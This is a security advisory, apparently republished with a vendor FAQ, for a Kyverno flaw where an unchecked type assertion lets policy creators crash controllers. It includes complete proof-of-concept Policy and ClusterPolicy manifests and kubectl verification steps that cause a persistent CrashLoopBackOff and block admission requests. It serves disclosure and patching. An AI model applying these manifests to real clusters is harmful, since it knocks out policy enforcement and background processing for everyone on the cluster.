CVE-2026-41485

An unchecked type assertion in the forEach mutation handler allows any user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.

Details

In pkg/engine/mutate/mutation.go, the ForEach function performs a bare type assertion on a map value that can be nil:

patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))

When a forEach rule uses a patchesJson6902 field containing a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic:

panic: interface conversion: interface {} is nil, not string

When a mutateExisting rule triggers, the admission controller creates an UpdateRequest resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or UpdateRequest is deleted.

The background controller processes mutateExisting rules in worker goroutines where k8s.io/apimachinery/pkg/util/runtime.HandleCrash catches panics but re-panics by default, killing the process. The admission controller survives because Go's net/http server absorbs panics in handler goroutines via defer recover(), though the connection is dropped.

The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.

PoC

Apply the following manifest:

# --- PoC A: Namespaced Policy crashes the background controller ---
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: poc-background-crash
  namespace: default
spec:
  mutateExistingOnPolicyUpdate: true
  rules:
  - name: crash-foreach-nil
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    mutate:
      targets:
      - apiVersion: v1
        kind: ConfigMap
        name: poc-target
        namespace: default
      foreach:
      - list: "target.data | keys(@)"
        patchesJson6902: "{{ element.nonexistent }}"
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: poc-target
  namespace: default
data:
  key1: value1
---
# This ConfigMap creation triggers the mutateExisting rule via UpdateRequest
apiVersion: v1
kind: ConfigMap
metadata:
  name: poc-trigger
  namespace: default
data:
  trigger: "true"
---
# --- PoC B: ClusterPolicy panics the admission controller (connection drop) ---
# Effect: all Secret create/update operations are blocked cluster-wide
# The admission controller does not crash (net/http recovers), but every
# matching request gets EOF -> webhook failure -> denied
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: poc-admission-panic
spec:
  rules:
  - name: panic-foreach-nil
    match:
      any:
      - resources:
          kinds:
          - Secret
    mutate:
      foreach:
      - list: "request.object.data | keys(@)"
        patchesJson6902: "{{ element.nonexistent }}"

Verify:

# After ~5 seconds, background controller is in CrashLoopBackOff:
kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller

# Admission panic, all Secret operations fail with EOF:
kubectl create secret generic test-secret --from-literal=key=value
# Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF

Admission controller logs:

http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string
goroutine 1914 [running]:
net/http.(*conn).serve.func1()
        net/http/server.go:1943 +0xb4
panic({0x3947fc0?, 0x40023e3890?})
        runtime/panic.go:783 +0x120
github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...)
        github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0
github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...)
        github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8
github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(*forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10})
...

Persistent denial of service of cluster-wide Kyverno controllers. Policy is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:

1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own.
2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a ClusterPolicy (requiring cluster-level RBAC), the admission block extends cluster-wide.

The crash loop is self-sustaining because the poisoned UpdateRequest remains in the queue and re-triggers the panic on every controller restart.

CVE-2026-41485 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.16.4, 1.17.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-41485? CVE-2026-41485 is a high-severity security vulnerability in github.com/kyverno/kyverno (go), affecting versions >= 1.13.0, < 1.16.4. It is fixed in 1.16.4, 1.17.2.
2. How severe is CVE-2026-41485? CVE-2026-41485 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/kyverno/kyverno are affected by CVE-2026-41485? github.com/kyverno/kyverno (go) versions >= 1.13.0, < 1.16.4 is affected.
4. Is there a fix for CVE-2026-41485? Yes. CVE-2026-41485 is fixed in 1.16.4, 1.17.2. Upgrade to this version or later.
5. Is CVE-2026-41485 exploitable, and should I be worried? Whether CVE-2026-41485 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41485 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41485?
   • Upgrade github.com/kyverno/kyverno to 1.16.4 or later
   • Upgrade github.com/kyverno/kyverno to 1.17.2 or later